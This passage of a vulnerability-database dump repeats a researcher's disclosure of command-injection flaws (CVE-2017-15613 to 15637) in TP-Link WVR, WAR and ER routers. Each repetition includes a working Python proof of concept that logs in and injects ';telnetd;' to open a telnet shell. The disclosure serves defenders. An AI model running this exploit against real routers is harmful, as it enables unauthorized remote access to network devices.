TP-Link WVR458L,
TP-Link WVR900G,
TP-Link WVR900L
CVE details:
================
The detail of each vulnerability are as follows:
CVE-2017-15613: new-interface variable in the cmxddns.lua file
CVE-2017-15614: new-outif variable in the pptp_client.lua file
CVE-2017-15615: lcpechointerval variable in the pptp_client.lua file
CVE-2017-15616: new-interface variable in the phddns.lua file
CVE-2017-15617: iface variable in the interface_wan.lua file
CVE-2017-15618: new-enable variable in the pptp_client.lua file
CVE-2017-15619: pptphellointerval variable in the pptp_client.lua file
CVE-2017-15620: new-zone variable in the ipmac_import.lua file
CVE-2017-15621: olmode variable in the interface_wan.lua file
CVE-2017-15622: new-mppeencryption variable in the pptp_client.lua file
CVE-2017-15623: new-enable variable in the pptp_server.lua file
CVE-2017-15624: new-authtype variable in the pptp_server.lua file
CVE-2017-15625: new-olmode variable in the pptp_client.lua file
CVE-2017-15626: new-bindif variable in the pptp_server.lua file
CVE-2017-15627: new-pns variable in the pptp_client.lua file
CVE-2017-15628: lcpechointerval variable in the pptp_server.lua file
CVE-2017-15629: new-tunnelname variable in the pptp_client.lua file
CVE-2017-15630: new-remotesubnet variable in the pptp_client.lua file
CVE-2017-15631: new-workmode variable in the pptp_client.lua file
CVE-2017-15632: new-mppeencryption variable in the pptp_server.lua file
CVE-2017-15633: new-ipgroup variable in the session_limits.lua file
CVE-2017-15634: name variable in the wportal.lua file
CVE-2017-15635: max_conn variable in the session_limits.lua file
CVE-2017-15636: new-time variable in the webfilter.lua file
CVE-2017-15637: pptphellointerval variable in the pptp_server.lua file
Credits:
================
chunibalon, puzzor @VARAS of IIE
Timeline:
================
2017.08 to 2017.09: Issues found.
2017.09.26: Vendor contacted.
2017.10.13: Vendor confirmed.
2017.10.14: CVE id requested.
2017.10.19: CVE id assigned.
2018.1: Vendor confirmed that all effected products have been fixed.
Vulnerability detail:
================
These vulnerability are caused by the similar reason, so here is an explanation of CVE-2017-15616.
Other vulnerabilities can be reproduced with the detail descriptions of the variable and lua file.
In /usr/lib/lua/luci/controller/admin/phddns.lua file, line 113:
***********************************
function add_phddns(http_form)
local form_data = json.decode(http_form.data)
local jdata = form_data.params.new
ret = form:insert(CONFIG_NAME, "phddns", jdata, RULE_KEYS, nil)
if not ret then
return false, err.ERR_COM_TABLE_ITEM_UCI_ADD
end
if not uci_r:commit(CONFIG_NAME) then
return false, err.ERR_COM_UCI_COMMIT
end
-- add the ref of interface
ifs.update_if_reference(jdata.interface, 1)
sys.fork_exec('/etc/init.d/phddns restart')
userconfig.cfg_modify()
return jdata
end
***********************************
This file will process a POST request from the web management panel with url "ip/cgi-bin/luci/;stok=xxx/admin/phddns?form=phddns".
The interface argument passed by the POST request can be set with the malformed command payload and the lua file didn't check the argument sufficiently.
Then the malformed value of "interface" argument causes the command injection vulnerability.
PoC file:
================
***********************************
import requests
import urllib
import json
# This is the PoC code of authenticated command injection of TP-Link WVR900G router with the CVE-2017-15616.
# To reproduce the PoC, the ip of the router should be 192.168.123.1 and the password of web management panel should be 'adminadmin'
PASSWORD = 'c6564879eda92681404fb4ce64343788e47d266c490bb9d574f4467644a2f96b73ec157bbffabb50752c46f55d026ec7ef34661d7dcb030b0b1fa527173093ae4358f4740e539322f58c441ea0003978475346fb66320f749cc138f867bc0d8d9501f1613524fbba565979d95df6ef412837dee15a6dd8867d00b91c6f4a3406'
BASEURL = 'http://192.168.123.1'
LOGINURL = BASEURL + '/cgi-bin/luci/;stok=/login?form=login'
MARK = '###'
VULURL = BASEURL + '/cgi-bin/luci/;stok=%s/admin/phddns?form=phddns' % (MARK)
headers = {
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4",
"Connection": "keep-alive",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Host": BASEURL[7:],
"Origin": BASEURL,
"Referer": "%s/webpages/login.html" % (BASEURL),
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
"X-Requested-With": "XMLHttpRequest"
}
login_data_value = {'method': 'login','params': {'password': PASSWORD,'username': 'admin'}}
login_data = {'data':json.dumps(login_data_value)}
s = requests.Session()
s.headers.update(headers)
print (LOGINURL)
print (login_data)
res = s.post(LOGINURL, data=login_data)
stok = eval(res.text)['result']['stok']
print '[*] stok is %s' % (stok)
tmp_vul = VULURL.replace(MARK, stok)
print '[*] vul_url is %s ' % (tmp_vul)
delete_data = {"method":"delete","params":{"key":"key-0","index":"0"}}
delete_data = {'data': json.dumps(delete_data)}
print '[+] delete existed rule'
res = s.post(tmp_vul, data=delete_data)
print '[*] response is: %s' % (res.text)
# after executing this payload, the router will open its telnetd service.
payload = ''';telnetd;'''
vul_data = {"method":"add","params":{"index":0,"old":"add","new":{"interface":"WAN1%s" % (payload),"name":"test1","passwd":"test","enable":"on"},"key":"add"}}
vul_data = {'data': json.dumps(vul_data)}
print '[+] sending payload'
res = s.post(tmp_vul, data=vul_data)
print '[*] response is: %s' % (res.text)
***********************************
Reference:
================
https://github.com/chunibalon/Vulnerability/blob/master/CVE-2017-15613_to_CVE-2017-15637.txt
| VAR-201801-0545 | CVE-2017-15636 | plural TP-Link Command injection vulnerability in devices |
CVSS V2: 9.0 CVSS V3: 7.2 Severity: HIGH |
TP-Link WVR, WAR and ER devices allow remote authenticated administrators to execute arbitrary commands via command injection in the new-time variable in the webfilter.lua file. TP-Link WVR , WAR ,and ER The device contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. TP-LinkWVR, WAR and ERdevices are different series of router products from China TP-LINK. Security vulnerabilities exist in TP-LinkWVR, WAR, and ER devices.
These vulnerabilities can be triggered in LAN and WAN(if the "remote management" function is enabled).
Vulnerability Type:
================
Command Injection (Authenticated)
Product:
================
We has tested these vulnerabilities on TL-WVR450L(the latest version is TL-WVR450L V1.0161125) and TL-WVR900G(TL-WVR900G V3.0_170306).
And the following model should also be affected and the vendor has confirmed:
TP-Link ER5110G,
TP-Link ER5120G,
TP-Link ER5510G,
TP-Link ER5520G,
TP-Link R4149G,
TP-Link R4239G,
TP-Link R4299G,
TP-Link R473GP-AC,
TP-Link R473G,
TP-Link R473P-AC,
TP-Link R473,
TP-Link R478G+,
TP-Link R478,
TP-Link R478+,
TP-Link R483G,
TP-Link R483,
TP-Link R488,
TP-Link WAR1300L,
TP-Link WAR1750L,
TP-Link WAR2600L,
TP-Link WAR302,
TP-Link WAR450L,
TP-Link WAR450,
TP-Link WAR458L,
TP-Link WAR458,
TP-Link WAR900L,
TP-Link WVR1300G,
TP-Link WVR1300L,
TP-Link WVR1750L,
TP-Link WVR2600L,
TP-Link WVR300,
TP-Link WVR302,
TP-Link WVR4300L,
TP-Link WVR450L,
TP-Link WVR450,
TP-Link WVR458L,
TP-Link WVR900G,
TP-Link WVR900L
CVE details:
================
The detail of each vulnerability are as follows:
CVE-2017-15613: new-interface variable in the cmxddns.lua file
CVE-2017-15614: new-outif variable in the pptp_client.lua file
CVE-2017-15615: lcpechointerval variable in the pptp_client.lua file
CVE-2017-15616: new-interface variable in the phddns.lua file
CVE-2017-15617: iface variable in the interface_wan.lua file
CVE-2017-15618: new-enable variable in the pptp_client.lua file
CVE-2017-15619: pptphellointerval variable in the pptp_client.lua file
CVE-2017-15620: new-zone variable in the ipmac_import.lua file
CVE-2017-15621: olmode variable in the interface_wan.lua file
CVE-2017-15622: new-mppeencryption variable in the pptp_client.lua file
CVE-2017-15623: new-enable variable in the pptp_server.lua file
CVE-2017-15624: new-authtype variable in the pptp_server.lua file
CVE-2017-15625: new-olmode variable in the pptp_client.lua file
CVE-2017-15626: new-bindif variable in the pptp_server.lua file
CVE-2017-15627: new-pns variable in the pptp_client.lua file
CVE-2017-15628: lcpechointerval variable in the pptp_server.lua file
CVE-2017-15629: new-tunnelname variable in the pptp_client.lua file
CVE-2017-15630: new-remotesubnet variable in the pptp_client.lua file
CVE-2017-15631: new-workmode variable in the pptp_client.lua file
CVE-2017-15632: new-mppeencryption variable in the pptp_server.lua file
CVE-2017-15633: new-ipgroup variable in the session_limits.lua file
CVE-2017-15634: name variable in the wportal.lua file
CVE-2017-15635: max_conn variable in the session_limits.lua file
CVE-2017-15636: new-time variable in the webfilter.lua file
CVE-2017-15637: pptphellointerval variable in the pptp_server.lua file
Credits:
================
chunibalon, puzzor @VARAS of IIE
Timeline:
================
2017.08 to 2017.09: Issues found.
2017.09.26: Vendor contacted.
2017.10.13: Vendor confirmed.
2017.10.14: CVE id requested.
2017.10.19: CVE id assigned.
2018.1: Vendor confirmed that all effected products have been fixed.
Vulnerability detail:
================
These vulnerability are caused by the similar reason, so here is an explanation of CVE-2017-15616.
Other vulnerabilities can be reproduced with the detail descriptions of the variable and lua file.
In /usr/lib/lua/luci/controller/admin/phddns.lua file, line 113:
***********************************
function add_phddns(http_form)
local form_data = json.decode(http_form.data)
local jdata = form_data.params.new
ret = form:insert(CONFIG_NAME, "phddns", jdata, RULE_KEYS, nil)
if not ret then
return false, err.ERR_COM_TABLE_ITEM_UCI_ADD
end
if not uci_r:commit(CONFIG_NAME) then
return false, err.ERR_COM_UCI_COMMIT
end
-- add the ref of interface
ifs.update_if_reference(jdata.interface, 1)
sys.fork_exec('/etc/init.d/phddns restart')
userconfig.cfg_modify()
return jdata
end
***********************************
This file will process a POST request from the web management panel with url "ip/cgi-bin/luci/;stok=xxx/admin/phddns?form=phddns".
The interface argument passed by the POST request can be set with the malformed command payload and the lua file didn't check the argument sufficiently.
Then the malformed value of "interface" argument causes the command injection vulnerability.
PoC file:
================
***********************************
import requests
import urllib
import json
# This is the PoC code of authenticated command injection of TP-Link WVR900G router with the CVE-2017-15616.
# To reproduce the PoC, the ip of the router should be 192.168.123.1 and the password of web management panel should be 'adminadmin'
PASSWORD = 'c6564879eda92681404fb4ce64343788e47d266c490bb9d574f4467644a2f96b73ec157bbffabb50752c46f55d026ec7ef34661d7dcb030b0b1fa527173093ae4358f4740e539322f58c441ea0003978475346fb66320f749cc138f867bc0d8d9501f1613524fbba565979d95df6ef412837dee15a6dd8867d00b91c6f4a3406'
BASEURL = 'http://192.168.123.1'
LOGINURL = BASEURL + '/cgi-bin/luci/;stok=/login?form=login'
MARK = '###'
VULURL = BASEURL + '/cgi-bin/luci/;stok=%s/admin/phddns?form=phddns' % (MARK)
headers = {
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4",
"Connection": "keep-alive",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Host": BASEURL[7:],
"Origin": BASEURL,
"Referer": "%s/webpages/login.html" % (BASEURL),
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
"X-Requested-With": "XMLHttpRequest"
}
login_data_value = {'method': 'login','params': {'password': PASSWORD,'username': 'admin'}}
login_data = {'data':json.dumps(login_data_value)}
s = requests.Session()
s.headers.update(headers)
print (LOGINURL)
print (login_data)
res = s.post(LOGINURL, data=login_data)
stok = eval(res.text)['result']['stok']
print '[*] stok is %s' % (stok)
tmp_vul = VULURL.replace(MARK, stok)
print '[*] vul_url is %s ' % (tmp_vul)
delete_data = {"method":"delete","params":{"key":"key-0","index":"0"}}
delete_data = {'data': json.dumps(delete_data)}
print '[+] delete existed rule'
res = s.post(tmp_vul, data=delete_data)
print '[*] response is: %s' % (res.text)
# after executing this payload, the router will open its telnetd service.
payload = ''';telnetd;'''
vul_data = {"method":"add","params":{"index":0,"old":"add","new":{"interface":"WAN1%s" % (payload),"name":"test1","passwd":"test","enable":"on"},"key":"add"}}
vul_data = {'data': json.dumps(vul_data)}
print '[+] sending payload'
res = s.post(tmp_vul, data=vul_data)
print '[*] response is: %s' % (res.text)
***********************************
Reference:
================
https://github.com/chunibalon/Vulnerability/blob/master/CVE-2017-15613_to_CVE-2017-15637.txt
| VAR-201801-0546 | CVE-2017-15637 | plural TP-Link Command injection vulnerability in devices |
CVSS V2: 9.0 CVSS V3: 7.2 Severity: HIGH |
TP-Link WVR, WAR and ER devices allow remote authenticated administrators to execute arbitrary commands via command injection in the pptphellointerval variable in the pptp_server.lua file. TP-Link WVR , WAR ,and ER The device contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. TP-LinkWVR, WAR and ERdevices are different series of router products from China TP-LINK. Security vulnerabilities exist in TP-LinkWVR, WAR, and ER devices.
These vulnerabilities can be triggered in LAN and WAN(if the "remote management" function is enabled).
Vulnerability Type:
================
Command Injection (Authenticated)
Product:
================
We has tested these vulnerabilities on TL-WVR450L(the latest version is TL-WVR450L V1.0161125) and TL-WVR900G(TL-WVR900G V3.0_170306).
And the following model should also be affected and the vendor has confirmed:
TP-Link ER5110G,
TP-Link ER5120G,
TP-Link ER5510G,
TP-Link ER5520G,
TP-Link R4149G,
TP-Link R4239G,
TP-Link R4299G,
TP-Link R473GP-AC,
TP-Link R473G,
TP-Link R473P-AC,
TP-Link R473,
TP-Link R478G+,
TP-Link R478,
TP-Link R478+,
TP-Link R483G,
TP-Link R483,
TP-Link R488,
TP-Link WAR1300L,
TP-Link WAR1750L,
TP-Link WAR2600L,
TP-Link WAR302,
TP-Link WAR450L,
TP-Link WAR450,
TP-Link WAR458L,
TP-Link WAR458,
TP-Link WAR900L,
TP-Link WVR1300G,
TP-Link WVR1300L,
TP-Link WVR1750L,
TP-Link WVR2600L,
TP-Link WVR300,
TP-Link WVR302,
TP-Link WVR4300L,
TP-Link WVR450L,
TP-Link WVR450,
TP-Link WVR458L,
TP-Link WVR900G,
TP-Link WVR900L
CVE details:
================
The detail of each vulnerability are as follows:
CVE-2017-15613: new-interface variable in the cmxddns.lua file
CVE-2017-15614: new-outif variable in the pptp_client.lua file
CVE-2017-15615: lcpechointerval variable in the pptp_client.lua file
CVE-2017-15616: new-interface variable in the phddns.lua file
CVE-2017-15617: iface variable in the interface_wan.lua file
CVE-2017-15618: new-enable variable in the pptp_client.lua file
CVE-2017-15619: pptphellointerval variable in the pptp_client.lua file
CVE-2017-15620: new-zone variable in the ipmac_import.lua file
CVE-2017-15621: olmode variable in the interface_wan.lua file
CVE-2017-15622: new-mppeencryption variable in the pptp_client.lua file
CVE-2017-15623: new-enable variable in the pptp_server.lua file
CVE-2017-15624: new-authtype variable in the pptp_server.lua file
CVE-2017-15625: new-olmode variable in the pptp_client.lua file
CVE-2017-15626: new-bindif variable in the pptp_server.lua file
CVE-2017-15627: new-pns variable in the pptp_client.lua file
CVE-2017-15628: lcpechointerval variable in the pptp_server.lua file
CVE-2017-15629: new-tunnelname variable in the pptp_client.lua file
CVE-2017-15630: new-remotesubnet variable in the pptp_client.lua file
CVE-2017-15631: new-workmode variable in the pptp_client.lua file
CVE-2017-15632: new-mppeencryption variable in the pptp_server.lua file
CVE-2017-15633: new-ipgroup variable in the session_limits.lua file
CVE-2017-15634: name variable in the wportal.lua file
CVE-2017-15635: max_conn variable in the session_limits.lua file
CVE-2017-15636: new-time variable in the webfilter.lua file
CVE-2017-15637: pptphellointerval variable in the pptp_server.lua file
Credits:
================
chunibalon, puzzor @VARAS of IIE
Timeline:
================
2017.08 to 2017.09: Issues found.
2017.09.26: Vendor contacted.
2017.10.13: Vendor confirmed.
2017.10.14: CVE id requested.
2017.10.19: CVE id assigned.
2018.1: Vendor confirmed that all effected products have been fixed.
Vulnerability detail:
================
These vulnerability are caused by the similar reason, so here is an explanation of CVE-2017-15616.
Other vulnerabilities can be reproduced with the detail descriptions of the variable and lua file.
In /usr/lib/lua/luci/controller/admin/phddns.lua file, line 113:
***********************************
function add_phddns(http_form)
local form_data = json.decode(http_form.data)
local jdata = form_data.params.new
ret = form:insert(CONFIG_NAME, "phddns", jdata, RULE_KEYS, nil)
if not ret then
return false, err.ERR_COM_TABLE_ITEM_UCI_ADD
end
if not uci_r:commit(CONFIG_NAME) then
return false, err.ERR_COM_UCI_COMMIT
end
-- add the ref of interface
ifs.update_if_reference(jdata.interface, 1)
sys.fork_exec('/etc/init.d/phddns restart')
userconfig.cfg_modify()
return jdata
end
***********************************
This file will process a POST request from the web management panel with url "ip/cgi-bin/luci/;stok=xxx/admin/phddns?form=phddns".
The interface argument passed by the POST request can be set with the malformed command payload and the lua file didn't check the argument sufficiently.
Then the malformed value of "interface" argument causes the command injection vulnerability.
PoC file:
================
***********************************
import requests
import urllib
import json
# This is the PoC code of authenticated command injection of TP-Link WVR900G router with the CVE-2017-15616.
# To reproduce the PoC, the ip of the router should be 192.168.123.1 and the password of web management panel should be 'adminadmin'
PASSWORD = 'c6564879eda92681404fb4ce64343788e47d266c490bb9d574f4467644a2f96b73ec157bbffabb50752c46f55d026ec7ef34661d7dcb030b0b1fa527173093ae4358f4740e539322f58c441ea0003978475346fb66320f749cc138f867bc0d8d9501f1613524fbba565979d95df6ef412837dee15a6dd8867d00b91c6f4a3406'
BASEURL = 'http://192.168.123.1'
LOGINURL = BASEURL + '/cgi-bin/luci/;stok=/login?form=login'
MARK = '###'
VULURL = BASEURL + '/cgi-bin/luci/;stok=%s/admin/phddns?form=phddns' % (MARK)
headers = {
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4",
"Connection": "keep-alive",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Host": BASEURL[7:],
"Origin": BASEURL,
"Referer": "%s/webpages/login.html" % (BASEURL),
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
"X-Requested-With": "XMLHttpRequest"
}
login_data_value = {'method': 'login','params': {'password': PASSWORD,'username': 'admin'}}
login_data = {'data':json.dumps(login_data_value)}
s = requests.Session()
s.headers.update(headers)
print (LOGINURL)
print (login_data)
res = s.post(LOGINURL, data=login_data)
stok = eval(res.text)['result']['stok']
print '[*] stok is %s' % (stok)
tmp_vul = VULURL.replace(MARK, stok)
print '[*] vul_url is %s ' % (tmp_vul)
delete_data = {"method":"delete","params":{"key":"key-0","index":"0"}}
delete_data = {'data': json.dumps(delete_data)}
print '[+] delete existed rule'
res = s.post(tmp_vul, data=delete_data)
print '[*] response is: %s' % (res.text)
# after executing this payload, the router will open its telnetd service.
payload = ''';telnetd;'''
vul_data = {"method":"add","params":{"index":0,"old":"add","new":{"interface":"WAN1%s" % (payload),"name":"test1","passwd":"test","enable":"on"},"key":"add"}}
vul_data = {'data': json.dumps(vul_data)}
print '[+] sending payload'
res = s.post(tmp_vul, data=vul_data)
print '[*] response is: %s' % (res.text)
***********************************
Reference:
================
https://github.com/chunibalon/Vulnerability/blob/master/CVE-2017-15613_to_CVE-2017-15637.txt